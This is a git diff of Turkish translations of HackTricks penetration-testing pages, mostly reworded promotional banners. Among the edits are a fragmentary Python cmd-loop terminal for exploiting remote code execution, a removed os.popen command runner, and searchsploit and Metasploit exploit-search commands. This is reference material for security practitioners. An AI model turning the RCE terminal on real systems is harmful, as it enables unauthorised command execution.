- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
- **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destekleyin. * **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
</details> </details>

View file

@ -1,53 +1,53 @@
# Python Sandbox Escape & Pyscript # Python Sandbox Kaçışı ve Pyscript
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin. * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin. * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'de takip edin. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Kontrol etmek için ilginç sayfalar:** **Kontrol etmek için ilginç sayfalar:**
* [**Pyscript hackleme hileleri**](pyscript.md) * [**Pyscript hackleme püf noktaları**](pyscript.md)
* [**Python deserializasyonları**](../../pentesting-web/deserialization/#python) * [**Python serileştirmeleri**](../../pentesting-web/deserialization/#python)
* [**Python sandbox'ları atlatma hileleri**](bypass-python-sandboxes/) * [**Python sandbox'ları atlatma püf noktaları**](bypass-python-sandboxes/)
* [**Temel python web istekleri sözdizimi**](web-requests.md) * [**Temel python web istekleri sözdizimi**](web-requests.md)
* [**Temel python sözdizimi ve kütüphaneleri**](basic-python.md) * [**Temel python sözdizimi ve kütüphaneleri**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin. * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin. * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'de takip edin. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details> </details>

View file

@ -2,22 +2,22 @@
<details> <details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -39,24 +39,24 @@ is fixed running
pip3 install wheel pip3 install wheel
inside the virtual environment inside the virtual environment
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin.**
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
</details> </details>

View file

@ -2,22 +2,22 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imizi(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanın.\ [**Trickest**]'i(https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -90,25 +90,7 @@ return resp.json()
def get_random_string(guid, path): def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10)) return ''.join(random.choice(string.ascii_letters) for i in range(10))
``` ```
## RCE'yi sömürmek için Python cmd ## Bir Uzaktan Kod Çalıştırma (RCE) açığından yararlanmak için Python komutu
Bu yöntem, Uzaktan Kod Çalıştırma (RCE) zafiyetlerini sömürmek için Python'un cmd modülünü kullanır. Bu modül, komut satırı arayüzü sağlar ve hedef sistemde komutları çalıştırmak için kullanılabilir.
```python
import os
def execute_command(command):
result = os.popen(command).read()
return result
command = input("Komutu girin: ")
output = execute_command(command)
print(output)
```
Bu kod, kullanıcıdan bir komut girmesini ister ve ardından `os.popen()` fonksiyonunu kullanarak bu komutu hedef sistemde çalıştırır. Sonuç, `print()` fonksiyonuyla ekrana yazdırılır.
Bu kodu kullanarak, hedef sistemde RCE zafiyetlerini sömürebilir ve komutları hedef sistemde çalıştırabilirsiniz. Ancak, bu tür bir saldırıyı gerçekleştirmeden önce yasal izinleri almanız ve yasal sınırlar içinde kalmanız önemlidir.
```python ```python
import requests import requests
import re import re
@ -135,24 +117,24 @@ return 1
term = Terminal() term = Terminal()
term.cmdloop() term.cmdloop()
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
</details> </details>

View file

@ -1,23 +1,23 @@
# Exploit Araştırması # Exploit Ara
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da** takip edin. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanın.\ [**Trickest**]'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -26,11 +26,11 @@ Bugün Erişim Alın:
Her zaman "google" veya diğerlerinde arama yapın: **\<hizmet\_adı> \[sürüm] exploit** Her zaman "google" veya diğerlerinde arama yapın: **\<hizmet\_adı> \[sürüm] exploit**
Ayrıca [https://exploits.shodan.io/](https://exploits.shodan.io) adresindeki **shodan exploit aramasını** denemelisiniz. Ayrıca [https://exploits.shodan.io/](https://exploits.shodan.io) adresinden **shodan** **exploit aramasını** denemelisiniz.
### Searchsploit ### Searchsploit
**Konsoldan exploitdb'deki hizmetler için exploit aramak** için kullanışlıdır. **Exploitdb'deki hizmetler için exploit aramak için konsoldan yararlıdır.**
```bash ```bash
#Searchsploit tricks #Searchsploit tricks
searchsploit "linux Kernel" #Example searchsploit "linux Kernel" #Example
@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
``` ```
### Pompem ### Pompem
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem), exploit aramak için başka bir araçtır. [https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) başka bir araçtır exploits aramak için
### MSF-Search ### MSF-Search
```bash ```bash
@ -50,7 +50,7 @@ msf> search platform:windows port:135 target:XP type:exploit
``` ```
### PacketStorm ### PacketStorm
Eğer bir şey bulunamazsa, [https://packetstormsecurity.com/](https://packetstormsecurity.com) adresinde kullanılan teknolojiyi aramayı deneyin. Eğer hiçbir şey bulamazsanız, kullanılan teknolojiyi [https://packetstormsecurity.com/](https://packetstormsecurity.com) içinde aramayı deneyin.
### Vulners ### Vulners
@ -58,26 +58,26 @@ Ayrıca vulners veritabanında arama yapabilirsiniz: [https://vulners.com/](http
### Sploitus ### Sploitus
Bu, diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploitus.com) Bu diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
